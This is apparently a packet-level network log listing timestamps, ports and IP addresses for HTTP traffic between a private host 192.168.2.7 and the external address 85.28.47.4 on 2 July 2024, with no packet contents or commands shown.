Jul 2, 2024 12:21:05.865283012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865283966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865283966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865315914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865326881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865349054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865372896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865381002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865397930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865397930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865421057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865431070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865437984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865463018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865473986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865494967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865526915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865533113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865559101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865566015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865590096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865597010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865622044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865641117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865653992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865658045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865685940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865694046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865720987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865721941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865755081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.866154909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.866193056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.866214037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.866245985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.866249084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.866277933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.866281033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.866311073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.866316080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.866470098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869273901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869302988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869318008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869329929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869333029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869340897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869350910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869362116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869363070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869373083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869385004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869396925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869421959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869424105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869435072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869507074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869517088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869525909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869527102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869535923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.869538069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.869565964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.949938059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.949959040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.949970007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.949980974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.949986935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.949990988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950010061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950011969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950020075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950031996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950045109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950184107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950196028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950206041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950206041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950217009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950227976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950227022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950242043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950259924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950314999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950411081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950421095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950432062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950443029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950450897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950453043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950463057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950474977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950479984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950489998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950496912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950522900 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950618029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950654030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950679064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950690031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950714111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950778008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950788975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950798988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950809002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950812101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950820923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950830936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950856924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.950985909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.950997114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951008081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951025009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951030970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951035023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951045990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951046944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951056004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951066971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951073885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951076984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951086044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951100111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951117039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951256037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951292038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951389074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951406002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951420069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951422930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951431036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951441050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951441050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951452017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951456070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951462030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951472998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951472998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951483965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951498032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951514959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951661110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951699972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951702118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951711893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951728106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951750994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951772928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951783895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951793909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951805115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951816082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951839924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.951869011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.951903105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952650070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952661991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952672005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952692986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952721119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952734947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952744961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952754974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952766895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952775955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952790976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952815056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952850103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952862978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952900887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.952950954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952966928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.952986002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953010082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953022957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953033924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953044891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953058004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953066111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953093052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953344107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953356028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953366041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953377962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953385115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953388929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953409910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953425884 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953520060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953531027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953541040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953552008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953556061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953562021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953579903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953596115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953651905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953718901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953757048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953768969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953778982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953788042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953789949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953800917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953803062 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953811884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953821898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953824043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953831911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.953851938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.953869104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.954009056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954020977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954030991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954041958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954046965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.954078913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.954216957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954229116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954238892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954250097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954253912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.954260111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954271078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.954282045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.954298973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957299948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957320929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957333088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957338095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957357883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957372904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957398891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957410097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957418919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957429886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957447052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957448959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957480907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957537889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957571983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957575083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957583904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957609892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957652092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957663059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957672119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957681894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957688093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957714081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.957715988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.957842112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039311886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039335012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039345980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039356947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039365053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039371967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039382935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039387941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039393902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039405107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039417028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039427042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039427996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039438963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039446115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039449930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039460897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039464951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039470911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039482117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039485931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039518118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039549112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039560080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.039580107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.039606094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040019989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040030956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040040970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040055037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040065050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040066957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040077925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040087938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040091038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040108919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040110111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040119886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040126085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040129900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040139914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040150881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040158033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040162086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040172100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040182114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040186882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040191889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040203094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040205956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040215015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040222883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040249109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040412903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040448904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040615082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040626049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040637016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040647030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040653944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040662050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040673018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040680885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040683031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040697098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040698051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040708065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040719032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040724039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040729046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040740013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040750027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040751934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040761948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040770054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040771961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040785074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.040787935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.040816069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041078091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041115046 CEST	49699	80	192.168.2.7	85.28.47.4
